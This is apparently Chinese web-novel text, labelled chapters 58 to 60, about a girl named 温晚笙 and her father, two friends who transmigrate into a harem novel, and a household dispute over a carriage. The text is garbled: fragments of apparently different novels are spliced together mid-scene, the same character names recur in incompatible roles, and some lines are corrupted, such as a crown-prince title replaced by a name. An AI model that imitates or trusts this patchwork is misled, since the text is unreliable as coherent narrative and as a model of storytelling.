皇后拽着她看了一圈,笑着看向皇帝:“陛下且看,公公的女儿果然跟公公长得极像,小小年纪便跟公公一般进退有度,可比宫里的几个皇子皇女强多了。” 温晚笙呐呐,只知顺着皇后的力道,却不知该回些什么。 好在时序给皇帝的表演结束,这时又回护起女儿来。 他冲着皇后拜了拜:“多谢娘娘赞赏,阿归从乡野而来,勉强有几分质朴在身上,那是万万比不上皇子皇女之贵的。” “公公谦虚了,本宫却正喜欢这样的孩子。” 皇后亲昵地牵起温晚笙的手来,俯身问道:“听公公说,你叫阿gui是吗,是哪个gui?” 既是对温晚笙的问询,时序便无法代劳了。 温晚笙定了定神,学着时序的说法生涩回答道:“回娘娘,是归家的归。” “好好好,归字虽简单,却也是个好寓意,那娘娘往后也唤你阿归可好?陛下瞧啊,阿归可是个乖顺的性子” 当今圣上育有四子三女,其中三皇子和六皇女乃皇后所出,三皇子今年八岁,因是嫡子,自出生就被立为裴怀璟,从小就稳重冷清。 六皇女今年刚刚五岁,偏与她皇兄性子完全相反,小小年纪就有混世魔王的征兆了,便是在父皇母后面前也不见收敛。 皇后出身世家,一直盼着能有一个乖巧可爱的孩子,无奈儿子从小稳重不亲人,女儿又顽皮得叫人头疼。 如今见了温晚笙,只觉这小姑娘哪哪都叫她喜欢。 无论是姣好的样貌,还是乖顺的脾性。 可不全是她所喜爱的。 无名无份,他怎能相信她这颗轻飘飘的真心。 除非,他能亲手剖出来看看。 温晚笙被这荒谬的要求问得呆住了。 想了想,她踮起脚尖,身体向前倾去,凑到他的下颌。 温热柔软的唇瓣,蜻蜓点水般,一触即分。 “可以是可以,不过呢”她拖长了调子,眉眼弯弯,“我家只招赘婿。” 第 58 章 第 58 章 “赘婿?” 裴怀璟缓缓垂下眼,浓密的睫堪堪挡住他闪烁的眼神。 少女适时地退开了半步,手也跟着从他下颌移开。 “对呀。”温晚笙笑得越发邪恶,像是终于捏住了他的七寸,“你非要个名分的话,我只能给你这个咯。” 她将‘名分’两个字咬得格外清晰。 温晚笙等找到杨家家门口时,杨家人刚拴好驴车,准备去镇上采买年货。 几年过去,杨家几个兄弟姐妹都成了家,头先成亲的几个也有了孩子,最大的已有十岁了,全家加起来也有二三十口人了。 这个数目叫他们哪怕是望蜀村的外来者,也不用担心会被欺辱排挤。 说说笑笑的一群人发现家门口停了马车,也只是好奇地打量几眼,更有甚至,还会打趣一句:“这是哪里来的马车?瞧着可真贵气。” “莫不是咱家老三在京城找着亲戚,从此发达了?” “哈哈哈嫂子可真会说笑,就算元兴有那找人的本事,也要有人可找才行啊!嫂子莫不是忘了时氏和她那小崽子的丧气样,她们那种人,能有什么有出息的夫家?要我说就算是有出息了,也定看不上她们俩丧门星啊!” “哎呀七妹竟说什么大实话!” 几个妇人推推搡搡,因不觉得那马车能与她们家有关系,说话便也没顾忌,连着声音也是一如既往地大嗓门,一字不落地传进马车里。 然就在她们抬脚要上板车时,却听马车里忽然传出一声极怒的叫喊声:“你们胡说!你们才是丧门星!” 下一刻,一个粉雕玉琢的小团子从马车里窜出来,张牙舞爪,瞧那神情,简直恨不得冲过来将她们全给吃了。 几人面露疑惑,就这么定眼一看,神色一点点变得诧异起来:“小小、小丧门星?不是——”她们叫出才觉不对,想改口一时又想不起温晚笙的名姓。 大丧门星,小丧门星。 几年间,杨家人全是这样称呼温晚笙母女的。 温晚笙被气得小脸通红,干巴巴的小手攥成拳头,一双眼睛仿佛在喷火,牙齿也因怒极而控制不住地上下打颤:“你、你们——” 刚进村子时,她还因在杨家的经历感到害怕,缩在阿爹身边半天不肯动弹,几次恳求阿爹再等等。 哪成想就耽搁了这么一小会儿,就叫她听见这么些污言秽语去。 温晚笙不想被人骂丧气,更不能接受娘亲逝去后还要遭人指点。 听着马车外不见歇的嘲弄声,又察觉到一直在她背后给予她安抚和力量的手掌,她到底没忍住,拔脚冲了出来。 温晚笙大口喘息着,好不容易平复几分,一字一顿道:“你们、你们不许说我娘坏话,你们要给我娘道歉。” 几句话下来,驴车裴围的杨家人终于肯定了她的身份。 他们的眼睛在温晚笙和马车上来回交替着,无论是马车前的三驾高头大马,还是宽大庄重的车厢,又或者只是温晚笙身上焕然一新的打扮,无一不在说—— 小丧门星发达了。 他们全然没将温晚笙的话放在心里,唯眼里的贪婪之色越来越深。 有人想走过去看个清楚,可是才走两步,忽然觉得袖口一紧,回头一看,却是杨七美拽住了他。 “怎么?”杨中兴疑惑道。 杨七美皱了皱眉:“五哥你先别着急,你没听见那小丧门星的话吗?” 说完,她直勾勾看向温晚笙,两手往腰间一叉,气势鼓足,张口便是一连串的说教谩骂:“嘿我说——你眼里可还有我们这些长辈,我们好心养你跟你娘这么些年,你发达了回来了,良心都被狗吃了是不是?” “小贱蹄子,你可是能耐了是吧?谁给你的胆子,敢这么跟我们说话!” 换做以前,温晚笙被这样指着鼻子骂,早就哭哭啼啼地躲去杨二丫身后了,有时大人太生气,还会按着她在院里跪上一整天,全当认错赎罪了。 杨七美想着,她今日总要叫温晚笙认清谁才是老大。 不料她话音才落,就听温晚笙中气十足地喊了一声:“我爹给我的胆子!” “我没错!”温晚笙憋足气说道,“我没长能耐,我也有良心,没有良心的是你们!你们只会欺辱娘亲,只会叫娘亲干活,便是娘亲病逝了,你们连一副棺材都不肯给她,只用草席裹着,就将娘亲抛去后山。” “有错的是你们,你们要给我娘道歉——” 提及杨二丫,温晚笙的眼泪又不争气地落下来,但此时她的胸腔已被怒火挤满,就这样一边流着泪,一边条理清晰地将话讲出来。 杨家人要脸,他们就属于那种,他们可以办事不地道,但不能被说出来,不然必要恼羞成怒的。 如今蓦然被温晚笙指出,他们又是尴尬又是羞恼,羞恼情绪在他们瞧见已经有好奇的邻居出门后,悄然达到顶峰,众人脸色顿时不好了。 不光是杨七美,杨中兴和杨元兴的妻子也纷纷站出来。 然而这一回,伴着一声轻笑,车帘再次被掀开,一个身量高挑的男人走出来,不紧不慢地走下马车,又回身将温晚笙抱进怀里。 时序垂首哄道:“阿归不气,他们会道歉的。” 被温暖的怀抱包裹住,温晚笙撇了撇嘴,心里又是难过又是委屈,泪水落得更欢快了,她在眼上抹了好几把也没能止住,只能闷头埋进时序的肩膀上。 “你、你又是谁?”不远处传来的声音让时序分出两分注意。 他撩了撩眼皮,到现在也不愿正眼瞅他们一眼。 并不意外,他在那群杨家人之中,看见了好几个熟悉的面孔。 六年时间,说长也长说短也短,有人改头换面,也有人一如往日。 时序的气势大变,但容貌上变动很少,且他毕竟是橡木村难得一见的秀才,又是曾被杨家寄予厚望的女婿,杨家几兄妹都认得他。 杨七美和几个后嫁过来的对他或是印象不深,或是完全没见过,短暂地犹豫了会儿,可剩下的就不同了。 杨中兴似是不敢置信,使劲揉了揉自己的眼睛:“你你、你是杨二丫……二姐的丈夫?你是姐夫!” “姐夫、姐夫你竟真的没有死,你怎么这时候才回来?” 时序刚想说什么,忽然觉到脖颈上的双臂收紧了几分。 低头一看,正是温晚笙抬起了头。 “阿爹……”温晚笙低声呢喃道,“你别理他们,他们都不好,他们是坏人。” 时序沉吟片刻,迎着温晚笙紧张的目光,眼里泛出点笑意:“好,我不理他们,我给阿归撑腰,阿归来跟他们讲,如何?” 就跟那至今被吊在暗牢的杨元兴一般。 时序不说话,杨中兴自己唱了许久的独角戏,终于觉出几分讪讪来。 他正要做最后一试,不等开口,却听温晚笙大声道:“不要叫姐夫,阿爹跟你们没有任何关系,他不要认你们。” 许是因为被阿爹抱着的缘故,温晚笙倒没有多少惧意了,满心都是与这一家人划清界限,从此老死不相往来。 杨中兴眉毛全挑了起来:“你又在说什么胡话!” 温晚笙扭正身子,正色道:“我没有说胡话,我只是不愿阿爹被你们吸血,就跟娘亲一样,明明不欠你们什么,偏要受你们苛待磋磨。” “娘亲有立身之本,人也勤劳,若不是有我拖累,无论是自己还是再嫁都能过得好好的,全然不必在你们手下受气。” “这么多年来,娘亲在杨家是怎么过的你们清楚,左邻右舍的伯伯婶婶们也都是看在眼里的,你们字字句句只说良心,好像给了我们母女多大的恩惠似的,可实际上呢?才没有!你们就是趴在娘亲身上吸血的吸血蛭!” “你们问我的良心,可你们自己有良心吗?” “我不欠你们的,娘亲更不欠你们,你们也休想跟阿爹讨要恩情。” 没人知道,一个五六岁的孩子是怎样平静说出这些话的。 随着她话音落下,从旁处走出来看热闹的村民顿是议论纷纷。 “这是住在杨家的那个小丫头吧?瞧着是寻到亲爹过上好日子了,也算是苦尽甘来,不怪她说这些话……” “杨家人确实不怎么样,我嫁来望蜀村三年,每天都能看见二娘子起早贪黑,不是砍柴割猪草,就是洗衣裳下地,一家的活儿全叫她一个人干了。” “还有杨家那几个小孩子,总能看见他们围着那丫头欺负,我有时实在看不过眼还会帮忙阻止两句,可到底也管不了多久的用。” 正如温晚笙所言,杨家的所作所为,全是被乡亲们看在眼中的。 杨家几人的反驳之言也全被乡亲们的议论堵住,脸上一阵青一阵白,磕磕巴巴半天,也没能说出一个完整的句子来。 过了好久,杨家最是泼辣的杨七美上前一步:“那又怎么样!” “阿爹——” “怎么?”时序眼中的煞气一瞬化作柔情,在喧杂的环境中偏能第一时间捕捉到女儿的呼唤,毫不犹豫地垂首看来。 温晚笙小声说:“我不想在这里了,我们去看看娘亲吧。” “好。”时序当即答应,只在话落的瞬间,抱着温晚笙就往马车上走。 “等等,你们要去哪儿?”杨家人看他们要走,顿时也顾不上什么尴尬不尴尬了,提步就要追上去。 然而等时序他们进到车厢的下一刻,一直侯在左右的护卫有了动作。 时一跟着听了全程,对杨家人全然没什么好脸色。 只待他一个眼神,众人一拥而上。 “你们要干什么?你们别过来……啊!” “放开我!快点放开我!我是姐夫的亲小舅子,小心姐夫给你们好看,快点放开我……你们强闯民宅,我要去报官!” 外面的叫骂声不绝于耳,透过厚重的板木传到车厢中。 对此,温晚笙只是将头埋进时序怀里,掩耳盗铃般挡住耳朵,并不想关心杨家人会有什么下场。 或者说,能叫司礼监的人动手,至少也要被褪下一层皮。 望蜀村四面只一座小山包,野山不高,山上林木也是稀疏,素日只会出现一些野鸡兔子,几十年来也没见过大型动物出没。 有些外来的村民没有祖坟,就会在山上寻一处风水宝地。 杨二丫虽也是葬在山上,但她是被家人摒弃出来的,只随随便便找了个没人圈定的荒土,一抔黄土,一块木板,就结束了她潦草的一生。 当初下葬时温晚笙正病着,只记着娘亲被葬在了山上,并不清楚具体位置。 她原以为这次回来要好生找上一番,哪想马车在山脚停下后,时序牵着她直接往西边走,脚步坚定,没有一点辨别寻找的意思。 而同行的其余人则全部留在马车旁,目送两人的背影消失在山野间。 为了照顾温晚笙的短胳膊短腿,时序行走的步伐不大,从山脚到坟包,走了足有小半个时辰,中途还歇了一回。 但两人心里都清楚,这一次歇息与其说是太累,倒不如说是叫他们有些心理准备,准备好转一道弯、绕过一丛灌木,直面孤坟的准备。 两步远处,杂草遍布,将那孤零零的坟包全部包围。 他静静站着,不辩驳,也不动怒。 在她面前不是挺能言善辩的么? 现在这样任人指点评说,真叫人看得心头无名火起。 她清了清嗓音,喊道: “裴怀璟,上来!” 不远处,那道正欲举步上前解围的青色身影,倏然一顿。 第 59 章 第 59 章 围在裴怀璟身边的几个公子哥儿先是被一愣,随即嗤笑起来。 “听听!”为首那个公子哥儿拉长了调子,用折扇虚虚点向马车方向,声音刻意扬高,“质子好福气,竟有温二小姐护着。” “质子可要好生珍惜这个机会,只是要当心呢。”另一人怪腔怪调地接上,目光在少年和马车之间来回逡巡,“若是一个伺候不周,惹了她不痛快,怕是要吃不少苦头。” 不敢明目张胆地编排温晚笙,难道还不敢肆意踩碾这个无依无靠的异国质子么。 在刺耳的哄笑声中,裴怀璟抬起眼睫,漆黑的眼瞳穿过纷扰的人群。 裴怀璟咧嘴一笑,吊儿郎当地说道:“我这职业,干得都是天天下地的活,地下除了起尸的粽子就是要命的男鬼,我上哪找蓝颜知己去,我这尸毒要是碧海潮生都治不了,算上现代和这里,我妥妥打了两辈子光棍。” 说着说着,裴怀璟自己也笑了起来:“妈耶,我还没有摆脱我的处子之身,活了两辈子,死后仍是处女,笑不活了!” 谢衡之原本面色沉重,一听她这话不禁嘴角一抽,有些无语:“你有完没有,天天净整这死出。” 话音未落,放在茶几上的手已经被裴怀璟紧紧握住,并被轻轻摩挲,谢衡之是个剑客,因为常年练剑,手心结了一层厚厚的老茧,但手背却白皙细嫩,光滑无比。 被裴怀璟来来回回这么一摸,她顿时起了一身的鸡皮疙瘩,一言难尽地看着面前的挚友。 裴怀璟满眼憾恨,看着面前一身白衣姿容清绝的谢衡之,第一千次重复道:“听雪啊,但凡咱俩有一个人是弯的” 谢衡之面无表情地替她说出了后半句:“那我们早就鬼混到一起了,然后被翻红浪,夜夜笙歌,一夜七次,花样百出,时而你在上,时而我在下。” 裴怀璟痛心疾首地说道:“是啊,你知道这是一种什么样的感觉么?” 谢衡之看着她,“什么感觉?” 裴怀璟叹气,“这感觉就像是猪的家门口长了一颗水灵灵的白菜,按理来说应该赶紧拱一拱,这样才不暴殄天物,奈何这只猪只能吃糠。” “然后这糠吧,要么掺了毒,要么掺了屎。” 谢衡之:“”书屋的老板是一对退休夫妻,两人退休后无事可做,家里的书又多的放不下,就把自己家的其中一个门市房改成了一间营业性质的书屋,为了照顾年轻人的口味,上架了一排新书。 书架的C位上,放着那本导致她们穿书的罪魁祸首——《重生后,我成了帝王们的掌心娇宠》。 此书一共六册,是一本量大管饱的快餐文学,众所周知,快餐食品虽然营养价值不高,但确实美味,且能让人迅速获得爽感。随着时间的渐渐流逝,当第一册书被她看完后,谢衡之终于明白这本书为什么起了个这样的名字。 是的,没错。 和女主暧昧的男一号广寒医仙是金月王朝未来的王。 和女主暧昧的男二号阴鸷太子是羽化神朝未来的王。 和女主暧昧的男三号龙族帝子是北阙龙族未来的王。 和女主暧昧的男四号绝美艳鬼是西海魂族未来的王。 和女主暧昧的男五号谪仙公子是玉京古族未来的王。 和女主暧昧的男六号病娇庄主是扶风王朝未来的王。 王王王,王王王,一家更比一家强。 通过以上这些信息可以猜出来,这是一本玛丽苏团宠文,里面的帝王男主们个个有病,各种病娇变态们齐聚一堂,和娇软女主上演了一出她逃他追他们都插翅难飞的绝妙好戏,并且时不时上演眼红掐腰声音暗哑亲我一口把命给你等等等等令人尴尬到脚趾抓地的咯噔文学。 这种咯噔文学,小学生觉得幼稚,大学生觉得刚刚好。 女主羽落清是一位假公主,她的生母是宫中的一位奶娘,奶娘将自己的孩子与真公主调换,后来事情败露,真公主回宫之后羽落清便哭着离开出皇宫。 另一手还被裴怀璟紧紧握着并被轻轻摩挲,她只好用另一只手端起一杯茶喝了一口,一双黑眸上上下下地打量着裴怀璟。 过了一会,她也遗憾地叹了一声。 裴怀璟为了省事只穿男装,她眉眼锐利,下颌线比谢衡之的人生规划还要清晰,因为常年在各种墓穴里穿行,干得都是不见天日的行当,所以肤色比谢衡之还白一个色号。 裴怀璟身高腿长,长得非常不错,身高一米八五,但平胸,没穿书之前一直想去当超模。 现在穿着男士古装,乍一眼看过去,完全就是一个俊美跳脱的美少年,还带着点雌雄莫辩的味道。 但凡两人有一个是弯的 谢衡之闭目,幽幽说道:“现代的男人都不怎么样,古代这封建地方更找不出一个能看的,直女真是对我的一种诅咒。” 裴怀璟拍了一下桌子,哈哈大笑起来。 姚蓉蓉乘胜追击:“天天就会抢别人东西,其实我师尊只是看在羽朝的面子上,才让我把梨花苑让给了你,你以为你本人很得我师尊看重么,有本事就和小太岁抢东西啊。” 羽落清收起了脸上的笑容,眼眸闪烁但声音仍是温温柔柔的:“姚师姐真会说笑,我是羽朝的公主,犯不着和别人抢东西的。” 姚蓉蓉嗤笑一声,仰着头从她身边走过,为自己成功扳回一局而开心。 谢衡之和裴怀璟看了一出小姑娘斗嘴的好戏,跟在姚蓉蓉身后一起去了玉笙居。 玉笙居比梨花苑小一圈,里面种了很多竹子,虽然不如梨花苑那么仙气飘飘,倒也还算清幽。 谢衡之看了一圈,说道:“比起梨花苑,我倒更喜欢这个地方。” 裴怀璟看透了她的心思,笑道:“在竹林里练剑,一定更有感觉吧?” 两人插科打诨,把玉笙居夸了又夸,姚蓉蓉面色好了不少,开始给裴怀璟配药。 裴怀璟的尸毒十分诡异,姚蓉蓉只能减缓毒发的速度,并不能根治。 谢衡之的内伤就更难治了,她内力损耗严重,不是几味药就能治好的。 经历了梨花苑的风波后,三个人的关系明显更进一步,夜色渐深,三人一起坐在玉笙居的亭子里吃茶点。 姚蓉蓉非常积极地和她们分享八卦。 “你们知道烟都那位“一舞剑器动四方”的剑道天才谢衡之么?” 正在嗑瓜子的谢衡之一愣,裴怀璟给谢衡之抛了个媚眼,兴致勃勃地接话:“当然知道,一身白衣纤尘不染,恍若云中仙子下凡尘,剑光如漫天细雪,不见人影杀招已至。” 姚蓉蓉眼中露出向往的神色。 “是啊,听说她这个人,比她手中的细雪剑更冷,她离群索居,独自一人居住在高山之巅,每日在云海中练剑。” “来岛上看病的人去过烟都,见过她在云海中练剑的身姿,说她的剑法遗世独立,羽化登仙,恍若九天之上的仙子。” 谢衡之尴尬的脚趾抓地,恨不得找个地缝把自己藏进去。 裴怀璟在一旁憋笑,“有那么夸张么?”诡异的,狂热的喜欢。 裴怀璟和谢衡之琢磨了很久,也没搞明白这是一种什么样的喜欢。 回到玉笙居的西厢房,两人趴在被窝里说悄悄话。 裴怀璟:“阿雪,原著里的月扶疏也是这么诡异狂热的喜欢女主么?” 谢衡之裹了裹被子,“这本书当年非常非常火,相当于女版的斗破x穹,这是一本女主开后宫的文,但说到底,还是快餐文学,经不起仔细琢磨。” 她把压在脑后的长发撩到被子上,“怎么形容呢,月扶疏对女主有种只宠不爱的感觉,好多霸总小说不都这样么,男主好像对女主爱的死去活来,但看完书细细一想,压根不知道霸总男主的感情是从哪里来的,好像只要女主漂亮可爱就足够了。” “看完书之后,我觉得月扶疏最爱他的药。”穿着鹅黄衣衫的少女撅起嘴巴,有点遗憾:“我以前也很想找她玩的,那时候师尊的女徒儿就我们两个。” 裴怀璟眼珠转了转:“羽落清不也是女徒儿么,你怎么不找她玩。” 姚蓉蓉摇头,眼神非常坚定:“我一点都不喜欢她。” 谢衡之忍不住问道:“为什么?” 姚蓉蓉说道:“她这个人怪怪的,我觉得她很阴暗,不会真心和什么人做朋友,永远只想压别人一头。” 这女主身上的特色,还真被姚蓉蓉说对了。 谢衡之对此深有体会。 原著中,女主羽落清没有势均力敌的朋友,她身边的所有女孩都是她的陪衬,都是衬托红花的绿叶。 因为一点点的善意,一点点的施舍,一点点的小恩小惠,她们对女主感激涕零,为女主鞍前马后。 就比如谢衡之的“暗卫母亲”,只因为女主羽落清在她受伤的时候,给她盛来一碗白粥,她从此便对女主死心塌地,还要自己的暗卫女儿誓死效忠女主。 碧海潮生这里,守卫在女主身旁的暗卫之中,便有谢衡之的“暗卫母亲”,一位地鬼境巅峰高手。 以至于谢衡之看见羽落清心里就烦,烦上加烦,没有最烦,只有更烦。 姚蓉蓉从篮子里掏出一串葡萄,“这葡萄是冰镇过的,你们两个留着吃,我要去医宫听师尊讲课了。” 裴怀璟纳闷:“什么药?”那位剑道天才后来走火入魔而死,名剑浮光也就在温湖中销声匿迹。 原著中的第四位男主,正是名剑浮光的主人——艳鬼绛卿。 女主派出去寻剑的手下被男主四号杀得鸡犬不留。 其中就有个赶尸客死得异常凄惨,身中诡异尸毒,被男主四号扔在羽朝皇宫的水井里,以至于羽朝宫闹了一场空前绝后的瘟疫。 女主和艳鬼爱恨情仇也在这一场瘟疫中轰轰烈烈地展开。 谢衡之突然想起来什么,瞪大眼睛说道:“你刚刚跟说遇到个大粽子一直追着你跑,你好不容易把他摁回棺材里,他却突然给你下了毒?” 裴怀璟点头:“是啊没错。” 谢衡之:“你说的这个大粽子是不是性别为男,长得特别艳丽妖娆,还穿一身红衣,眉心还有一颗艳红的朱砂痣?” 裴怀璟点头:“是啊没错。” 裴怀璟突然反应过来,身体战术后仰:“妈耶,你认识他啊,你不是一直在烟都学剑么,怎么还和地里的粽子有了交情?” 谢衡之倒吸一口凉气:“狗屁的交情,那是男主四号,艳鬼绛卿!” 裴怀璟愣住,“哎呀我心里卧槽卧槽的。” 妈的! 这一刻,谢衡之全身冰凉,心悸不已。 她差一点就要失去裴怀璟了! 怪不得裴怀璟的尸毒这样严重,原来艳鬼绛卿的手笔。 若不是女主身边有诸多高手暗中保护,谢衡之真恨不得一剑杀了羽落清。 她心中后怕不已,压着心悸低声喃喃:“你怎么惹了他呀,这可怎么办,以后绝对不能被他遇见,我还得尽快治好内伤才是,若是他来找你麻烦,我拼死也要一剑杀了他。” “月扶疏一心想要长生不老,好好的储君不做,跑到碧海潮生做医仙,他的仙居殿里培育了许多稀有药草,为了照顾这些药草,他可以不眠不休不吃不喝。” 裴怀璟竦然起敬:“卧槽,不愧是医仙,还真敬业啊,那他后来长生不老了么?” 谢衡之摇头:“没有,他的丹药里缺了一味很重要的药材,那种药材叫毒太岁,特别稀有,书都大结局了,他还是没找到这种药材。” 裴怀璟:“太岁我知道,毒太岁又是什么?” 谢衡之回忆着原著的内容,说道:“这种药材的诞生条件和生长条件极为苛刻,几乎不可能出现在世间,千百年来,多少神医遍寻毒太岁而不得,最后抱憾而终。” “月扶疏也和其他神医一样找了许多年,到了大结局也没找到毒太岁,这也成了他此生最大的遗憾之一。” “而且这本书关于月扶疏的描写,一开始的调子起的太高,作者把他写成了男版的嫦娥,冷冷清清的月宫仙人怎么可能为了一个小女孩要死要活,要真这样就崩人设了。” “当月亮朝你跑来的时候,月亮就不是月亮了。” “月扶疏粉丝又多,一旦人设崩了,书粉就跑了,所以作者写的就很束手束脚。” “作者又想弄点时髦人设,又给月扶疏加了个疯批属性,结果不知怎么写成了个恋物癖,疯狂爱恋他的药草,导致我通篇读下来,觉得女主在他的心中的地位还不如他的一盆草。” 裴怀璟:“妈耶,确实挺时髦。” 谢衡之说道:“要是能偷点月扶疏的仙草就好了,我现在就想把你的尸毒治好,再把我身上的蛊解决掉,然后跟着你一起浪迹天涯,过着风一样的生活。” 裴怀璟笑了笑:“那说好了啊,基友一生一起走,谁先放手谁是狗。” 谢衡之拽了拽裴怀璟的马尾,又和她拉了勾,她在脑中畅想着和好基友游山玩水的场景,非常幸福地入睡了。 姚蓉蓉说道:“我可没有夸张,羽落清的兄长羽重雪是谢衡之的师弟,羽重雪多厉害我就不用说了吧,还不是被谢衡之一剑刺穿胸膛,送到碧海潮生的时候,他的心头血都快流尽了。” 谢衡之喝了口茶,声音有些发涩:“那羽重雪后来怎样了?” 姚蓉蓉说道:“昏睡了一个月,我去送药的时候,听他迷迷糊糊的喊了好几声师姐。” “我听人说,羽重雪和谢衡之曾经也是相敬和睦的,后来羽落清去了烟都小住,两人的关系突然变得很僵,连他们的师尊几次说合都不管用。” 姚蓉蓉一锤定音:“这一定是羽落清的问题。” 谢衡之静静地看着她笑,在心中感慨她的没心没肺,种了尸毒居然还能笑得这么开心。 “你现在就不担心吗,这尸毒可不是普通的毒,我们这一路拜访了多少位神医,个个束手无策,这些神医里也不是没有碧海潮生的人。” 谢衡之眉头轻蹙,她的相貌清绝出尘,又经常穿一身白衣,是个仙女一样的姑娘,明知道她武力值极高,还是让人忍不住心中怜爱。 “宝,可别皱眉,眉间会生川字纹,赶紧笑一下,你笑起来的样子最好看了。” 两人是发小,裴怀璟这油嘴滑舌的腔调从小到大都没有变,典型的社牛达人。 谢衡之与她相反,作为一个资深社恐人士,家里来了客人从来不说话,只会往裴怀璟后面躲。 她们两家人正好是邻居,两人的妈妈同一个月份怀孕,两个娃娃同一天在同一家医院出生,俩宝妈住同一家月子中心,房间就在隔壁。 她们两个从小一起长大,一起上幼儿园,一起上小学,一起上初中,一起上高中,又考上了同一所大学,就连穿越,都是两人一起穿越。 对方脱裤子,另一个不用猜就知道对方要放什么样的屁。 里面的男性角色有病,里面的女性角色也病的不轻,通篇看下来,就没几个正常人物。 但,爽就对了。 人不能指望垃圾食品蕴含丰富的营养,也不能在一本快餐网文中寻找三观,至少谢衡之自己是这么认为的。 看完第一册,谢衡之将自己的魔爪伸向了第二册,裴怀璟不爱看小说,一直戴着降噪耳机在旁边打游戏。 谢衡之看到了第二册,交完押金后把第二册书带回了家,书屋老板笑眯眯地说道:“这本书还挺火嘛,今天上架的六本新书都被你们这些女孩租回家了。” 谢衡之也笑了:“这么受欢迎啊。” 她带着书回到家,看完实体书,又在点开阅读APP订购了电子版,熬夜看完结局之后已经是晚上十一点钟了,一觉醒来,一睁眼。 她,穿了。 地桌旁边,裴怀璟咽下嘴里的苹果,随口问了句:“女主最后和谁在一起了?” 谢衡之说道:“开放式结局。” 裴怀璟忍不住吐槽:“那就是都在一起了呗,女频真是的,男频那边三妻四妾坦坦荡荡,女频这边睡几个男人都要偷偷摸摸,真没劲儿。” 结局是开放式结局,并没有写女主最后到底跟哪个美男在一起。一般这种情况,读者都默认这是大团圆结局,女主和六个男主角从此过上了幸福的生活。 区区六根。 小孩子才做选择,成年人就应该全部都要。 “阿雪,你剑法这么厉害,怎么着也穿成了一个有名有姓的角色吧?” “那没有,我穿成了女主身边的暗卫生下来的女儿,注定要为女主挡毒针而死,无名无姓。” “你干嘛!”温晚笙猛地反应过来,边偏头躲闪,边嫌弃地说,“还是湿的唉。” 少年动作不停,声音淡淡:“脏了。” 温晚笙两只手都不得闲,只能一味地把头向后仰。 将要失去平衡的瞬间,腰侧被沉稳的力道扶住。 同一时刻,传来一阵刀光剑影声。 “保护公主!” 第 60 章 第 60 章 幽蓝的眸子在火光照耀不到的暗处,闪烁着凶戾的光,虎视眈眈地盯着散发着鲜香的人。 若非护卫陡然拔高的厉喝划破夜空,大家恐怕压根不会发觉。 方才还高谈阔论、自诩胆气的公子哥们,此刻面色煞白,噤若寒蝉,连大气都不敢喘。 姑娘们也紧紧挨靠在一起,不敢发出半点声音。 相比之下,温晚笙所在的角落,就要安全许多。 不过,她还是吓了一大跳。 因为腰间那股原本要撤开的力道,将她往后一带。 陶朱哭笑不得,昨夜她趴在书桌上算账,劝了也不听,非得算到丑时方入睡,今早天没亮又起床了,没睡两个时辰,不困才怪。 “七姑娘,醒醒。”陶朱低声唤醒昏昏欲睡的温晚笙,空出一只手拿过桌上的莲花齐腰襦裙。 这是上个月刚做好的一套新衣裙,李氏亲自吩咐人去做的。 李氏最舍得给她唯一的女儿花银子,吃穿用度都不会缺温晚笙,如果有条件,还要用最好的。 陶朱细细看过这套莲花齐腰襦裙,布料柔软如云,衣袂绣着粉白的莲花,稍用小巧的珍珠点缀,层层裙摆微蓬,如盛开的莲花。 雅致不失贵气,又带有少女的俏皮,果真适合她家七姑娘。 在陶朱心里,温晚笙值得最好的。她让其他几个丫鬟小心点摊开长裙,喜笑颜开问:“七姑娘,您看看,今天穿这套裙子可好?” 温晚笙抬头:“嗯?” 陶朱怕温晚笙不选这套,要穿以前那些旧裙出门,又道:“这是三夫人专门找人为您做的。” 她睡意朦胧,只随随便便扫了一眼,清楚陶朱在想什么,且懒得到衣柜里挑来挑去,点点头:“可以,就穿这套吧。” 丫鬟们合力为温晚笙换上新裙子,再为她补补妆。 好不容易拾掇完,天都亮了。温晚笙打着哈欠走出温家,正要坐上停在大门前的马车,沈姨娘从府里跑出来,拦住她:“乐允。” 温晚笙回头看,沈姨娘拉着自己那个十三岁大的儿子跑到了马车旁,身后还有急忙追出来的温舒。 她看了他们几眼。 沈姨娘有温三爷的疼爱,保养得好,风韵犹存,面容窄瘦,不笑时显得有点刻薄,身上的紫裙和发间金簪华丽,瞧着价格不菲。 她瘦,她生的儿子却胖乎乎的,只因重男轻女的温三爷膝下仅有一儿,拿他当宝贝,打不得骂不得,整天好吃好喝地供着。 “沈姨娘有事?”温晚笙收回了快踏上马车的脚。 沈姨娘似很不好意思地笑着:“三夫人和老夫人今天都出门了,府上还剩下一辆马车……山哥儿要出门与书院那些同窗聚聚。” 话里话外是大房二房的也要用马车,他们三房没马车用了。 听到这里,陶朱气急败坏,沈姨娘这是想趁三夫人陪老夫人出城礼佛了,变着法子欺负她家七姑娘,抢车的事也做得出来。 温舒耳垂泛红,拉住沈姨娘的手,小声道:“姨娘。” 沈姨娘转头瞪了温舒一眼,推开她,低低地呵斥一声:“你给我闭嘴,别胳膊肘往外拐。” 面对温晚笙时,沈姨娘又换上了另一张面孔:“乐允,你也知道的,山哥儿在书院里念书不易,多少得跟同窗搞好关系。” 她整个人就被谢衡之护在了身后。 完全不知道发生了什么,温晚笙定了定神,从面前挺拔的身影,谨慎地探出半个脑袋。 护卫们刀剑出鞘,严阵以待,人人脸上都写满了警惕。 但半天,也没有料想中的黑衣刺客出现。 这情形,倒像是一场危险演习。 温晚笙淡定了许多,压低声音问道:“先生,发生什么了?” 谢衡之目光如炬,穿透篝火与黑暗的交界处。 温晚笙好像听不出沈姨娘言外之意:“然后呢?” 沈姨娘往前走:“你能不能把这辆马车让给山哥儿?他起得晚,快到和同窗约定好的时辰了,现在找人出门租一辆,赶不上。” “你看这样好不好,姨娘找人去给你租一辆。”沈姨娘想握温晚笙的手,被她躲开了,尴尬地停在半空,过了一会才放下。 温晚笙随意地抚过马车上刻有温家家徽的地方:“沈姨娘。” 沈姨娘以为她答应了,拽着山哥儿肥胖的手就往马车里钻。陶朱心急如焚:“七姑娘。” 不等沈姨娘掀开帘子,温晚笙一把抓住她的手,笑盈盈道:“山哥儿急,我也急啊,您都说了,是他自个儿起得晚,能怪谁呢。” 没想到她会拒绝,沈姨娘忙道:“他那些同窗都等着……” 温晚笙松开她,踩着脚凳上了马车:“我知道,可裴三姑娘一样在等着我。陶朱,还不上来?叫裴三姑娘久等就不好了。” 沈姨娘还想纠缠,温舒再次拉住她,弱弱道:“阿娘,府里用车的规矩本就是要提前一晚打招呼的,山哥儿怎可抢七姐姐的。” 